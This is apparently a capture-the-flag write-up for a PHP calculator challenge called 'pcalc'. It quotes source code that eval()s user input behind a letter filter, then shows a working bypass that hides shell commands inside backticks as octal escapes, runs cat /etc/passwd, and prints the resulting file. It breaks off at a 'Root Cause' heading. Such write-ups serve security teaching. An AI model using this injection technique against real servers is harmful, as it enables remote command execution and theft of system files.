

pcalc

Medium

1. Overview

Let's go through the webpage, core features of it is calculation! I try for `a` or `'` or `"` and get the same result, so I think server have a filter, which don't receive alphabet character, `"`, `'`, and some character I haven't tested!

 **don't bite the hand that feeds you human** 

Reading the source code to understand filter!

```
public static function getCalc($formula)
{
    if (strlen($formula) >= 100 || preg_match_all('/[a-z\']+/i', $formula))
        return '🕶️ don't bite the hand that feeds you human 🕶️';
    }
    try {
        eval('$pcalc = ' . $formula . ');');
        return isset($pcalc) ? $pcalc : '?';
    }
    catch (ParseError $err) {
        return '🔴 report to the nearest galactic federation agency 🔴';
    }
}
```

I focus on the filter, it doesn't filter the ``` character! In php, it can use to call the shell command! For example `ls -la` between ``` is ``ls -la``!

2. Enumeration

But the filter doesn't receive alphabet character, so you can't represent command by string, I think about hex representation (`A` by `\x41`). But `x` is alphabet character, I think about octal representation, it only has number and `\`, for example `\101` for `A`, you can try by printf in linux `printf '\101'`. So the core vector is write payload as octal representation for bypass filter and read flag file!

3. Exploitation

Now build the payload, this is ``cat /etc/passwd``, you can use `od -b` for extract string to octal number!

```
printf ``cat /etc/passwd`` | od -b
00000000  140 143 141 164 040 057 145 164 143 057 160 141 163 163 167 144
00000020  140
00000021
printf '140 143 141 164 040 057 145 164 143 057 160 141 163 163 167 144
140' | tr ' ' '\n'
140\n143\n141\n164\n040\n057\n145\n164\n143\n057\n160\n141\n163\n163\n167\n144\n140
printf ``\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144``
`cat /etc/passwd`
```

Now testing my payload!

A secure calculator that supports puny human numbers. gross... 🤢

```
`\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144`
```

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
```

Boom!!! It works!! Now, let's go to get you flag!

4. Root Cause